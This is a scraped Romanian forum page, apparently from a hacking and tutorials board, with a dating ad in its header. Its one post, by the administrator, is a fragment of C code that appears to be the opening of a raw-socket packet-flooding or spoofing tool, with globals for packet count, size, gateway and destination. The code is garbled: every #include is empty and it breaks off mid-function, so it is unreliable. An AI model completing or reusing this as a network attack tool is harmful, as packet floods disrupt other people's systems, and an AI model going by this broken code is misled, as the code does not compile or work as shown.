Hartie
Tutoriale,hackuri,filme,jocuri si multe altele !
|
Nou pe simpatie: Aandreea 24 ani
 | Femeie 24 ani Bucuresti cauta Barbat 25 - 52 ani |
|
|
HartieInregistrareLoginPozeNu sunteti logat. Lista Forumurilor Pe Tematici
|
| #1 |
HartieAdministrator
Postari: 939
|
|
#define DEBUG #include #include #include #include #include #include #include #include #ifndef __linux__ #include #include #else #include #include #include #include #include "/usr/src/linux/net/inet/skbuff.h" #endif
#include
static unsigned int wait_time = 0; static unsigned int packet_size = 80; static unsigned int packet_count = 1000; static int gateway = 0x0100007f; static int destination = 0; static unsigned int uflag = 0; static unsigned int tflag = 0;
static int socket_fd; static struct sockaddr dest;
/* Convert an ASCII string to binary IP. Borrowed from linux/net/inet/utils.c */
unsigned long in_aton(char *str) { unsigned long l; unsigned int val; int i;
l = 0; for (i = 0; i < 4; i++) { l <<= 8; if (*str != '
|
|
| |
|